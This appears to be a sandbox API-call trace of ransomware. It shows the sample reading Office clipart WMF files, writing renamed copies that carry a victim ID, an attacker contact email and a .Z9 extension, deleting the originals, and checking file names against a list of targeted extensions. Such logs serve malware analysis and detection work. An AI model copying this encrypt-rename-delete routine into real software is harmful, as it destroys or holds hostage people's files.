	[0090.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.002] lstrlenW (lpString=".dbf") returned 4
	[0090.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.002] lstrlenW (lpString=".1cd") returned 4
	[0090.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0090.002] lstrlenW (lpString=".jpg") returned 4
	[0090.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.002] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.002] lstrlenW (lpString="DD01157_.WMF") returned 12
	[0090.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0090.002] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3588) returned 1
	[0090.002] CloseHandle (hObject=0x2bc) returned 1
	[0090.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220
	[0090.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0090.003] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.003] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0090.003] GetLastError () returned 0x0
	[0090.003] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xe04, lpOverlapped=0x0) returned 1
	[0090.004] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe10, lpOverlapped=0x0) returned 1
	[0090.005] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.005] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.006] SetEndOfFile (hFile=0x360) returned 1
	[0090.006] CloseHandle (hObject=0x360) returned 1
	[0090.006] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.006] SetEndOfFile (hFile=0x2bc) returned 1
	[0090.007] CloseHandle (hObject=0x2bc) returned 1
	[0090.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1
	[0090.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.007] lstrlenW (lpString=".doc") returned 4
	[0090.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString=".docx") returned 5
	[0090.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.008] lstrlenW (lpString=".pdf") returned 4
	[0090.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString=".xls") returned 4
	[0090.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.008] lstrlenW (lpString=".xlsx") returned 5
	[0090.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.008] lstrlenW (lpString=".ppt") returned 4
	[0090.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.008] lstrlenW (lpString=".zip") returned 4
	[0090.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.008] lstrlenW (lpString=".rar") returned 4
	[0090.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString=".bz2") returned 4
	[0090.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString=".7z") returned 3
	[0090.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.008] lstrlenW (lpString=".dbf") returned 4
	[0090.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.008] lstrlenW (lpString=".1cd") returned 4
	[0090.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.008] lstrlenW (lpString=".jpg") returned 4
	[0090.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.008] lstrlenW (lpString=".doc") returned 4
	[0090.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.008] lstrlenW (lpString=".docx") returned 5
	[0090.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.008] lstrlenW (lpString=".pdf") returned 4
	[0090.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.009] lstrlenW (lpString=".xls") returned 4
	[0090.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.009] lstrlenW (lpString=".xlsx") returned 5
	[0090.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.009] lstrlenW (lpString=".ppt") returned 4
	[0090.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.009] lstrlenW (lpString=".zip") returned 4
	[0090.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.009] lstrlenW (lpString=".rar") returned 4
	[0090.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.009] lstrlenW (lpString=".bz2") returned 4
	[0090.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.009] lstrlenW (lpString=".7z") returned 3
	[0090.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.009] lstrlenW (lpString=".dbf") returned 4
	[0090.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.009] lstrlenW (lpString=".1cd") returned 4
	[0090.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0090.009] lstrlenW (lpString=".jpg") returned 4
	[0090.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.009] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.009] lstrlenW (lpString="DD01160_.WMF") returned 12
	[0090.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.873] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2228) returned 1
	[0090.873] CloseHandle (hObject=0x350) returned 1
	[0090.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220
	[0090.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.874] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.874] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.488] GetLastError () returned 0x0
	[0091.488] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x8b4, lpOverlapped=0x0) returned 1
	[0091.489] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0091.490] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.490] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.490] SetEndOfFile (hFile=0x374) returned 1
	[0091.490] CloseHandle (hObject=0x374) returned 1
	[0091.490] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.490] SetEndOfFile (hFile=0x350) returned 1
	[0091.491] CloseHandle (hObject=0x350) returned 1
	[0091.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1
	[0091.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.492] lstrlenW (lpString=".doc") returned 4
	[0091.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.492] lstrlenW (lpString=".docx") returned 5
	[0091.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.492] lstrlenW (lpString=".pdf") returned 4
	[0091.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.492] lstrlenW (lpString=".xls") returned 4
	[0091.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.492] lstrlenW (lpString=".xlsx") returned 5
	[0091.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.492] lstrlenW (lpString=".ppt") returned 4
	[0091.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.492] lstrlenW (lpString=".zip") returned 4
	[0091.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.492] lstrlenW (lpString=".rar") returned 4
	[0091.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.492] lstrlenW (lpString=".bz2") returned 4
	[0091.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.492] lstrlenW (lpString=".7z") returned 3
	[0091.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.492] lstrlenW (lpString=".dbf") returned 4
	[0091.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.493] lstrlenW (lpString=".1cd") returned 4
	[0091.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.493] lstrlenW (lpString=".jpg") returned 4
	[0091.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.493] lstrlenW (lpString=".doc") returned 4
	[0091.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString=".docx") returned 5
	[0091.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.493] lstrlenW (lpString=".pdf") returned 4
	[0091.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString=".xls") returned 4
	[0091.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.493] lstrlenW (lpString=".xlsx") returned 5
	[0091.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.493] lstrlenW (lpString=".ppt") returned 4
	[0091.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.493] lstrlenW (lpString=".zip") returned 4
	[0091.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.493] lstrlenW (lpString=".rar") returned 4
	[0091.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString=".bz2") returned 4
	[0091.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString=".7z") returned 3
	[0091.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.493] lstrlenW (lpString=".dbf") returned 4
	[0091.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.493] lstrlenW (lpString=".1cd") returned 4
	[0091.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0091.494] lstrlenW (lpString=".jpg") returned 4
	[0091.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.494] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.494] lstrlenW (lpString="DD01628_.WMF") returned 12
	[0091.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.494] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=19068) returned 1
	[0091.494] CloseHandle (hObject=0x350) returned 1
	[0091.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220
	[0091.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.495] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.495] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.495] GetLastError () returned 0x0
	[0091.495] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x4a7c, lpOverlapped=0x0) returned 1
	[0091.498] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x4a80, lpOverlapped=0x0) returned 1
	[0091.499] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.499] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.500] SetEndOfFile (hFile=0x374) returned 1
	[0091.500] CloseHandle (hObject=0x374) returned 1
	[0091.500] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.500] SetEndOfFile (hFile=0x350) returned 1
	[0091.504] CloseHandle (hObject=0x350) returned 1
	[0091.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.505] lstrlenW (lpString=".doc") returned 4
	[0091.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.505] lstrlenW (lpString=".docx") returned 5
	[0091.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.505] lstrlenW (lpString=".pdf") returned 4
	[0091.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.505] lstrlenW (lpString=".xls") returned 4
	[0091.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.505] lstrlenW (lpString=".xlsx") returned 5
	[0091.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.505] lstrlenW (lpString=".ppt") returned 4
	[0091.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.505] lstrlenW (lpString=".zip") returned 4
	[0091.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.505] lstrlenW (lpString=".rar") returned 4
	[0091.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.505] lstrlenW (lpString=".bz2") returned 4
	[0091.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.505] lstrlenW (lpString=".7z") returned 3
	[0091.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.505] lstrlenW (lpString=".dbf") returned 4
	[0091.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.505] lstrlenW (lpString=".1cd") returned 4
	[0091.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.506] lstrlenW (lpString=".jpg") returned 4
	[0091.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.506] lstrlenW (lpString=".doc") returned 4
	[0091.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.506] lstrlenW (lpString=".docx") returned 5
	[0091.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.506] lstrlenW (lpString=".pdf") returned 4
	[0091.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.506] lstrlenW (lpString=".xls") returned 4
	[0091.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.506] lstrlenW (lpString=".xlsx") returned 5
	[0091.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.506] lstrlenW (lpString=".ppt") returned 4
	[0091.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.506] lstrlenW (lpString=".zip") returned 4
	[0091.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.506] lstrlenW (lpString=".rar") returned 4
	[0091.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.506] lstrlenW (lpString=".bz2") returned 4
	[0091.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
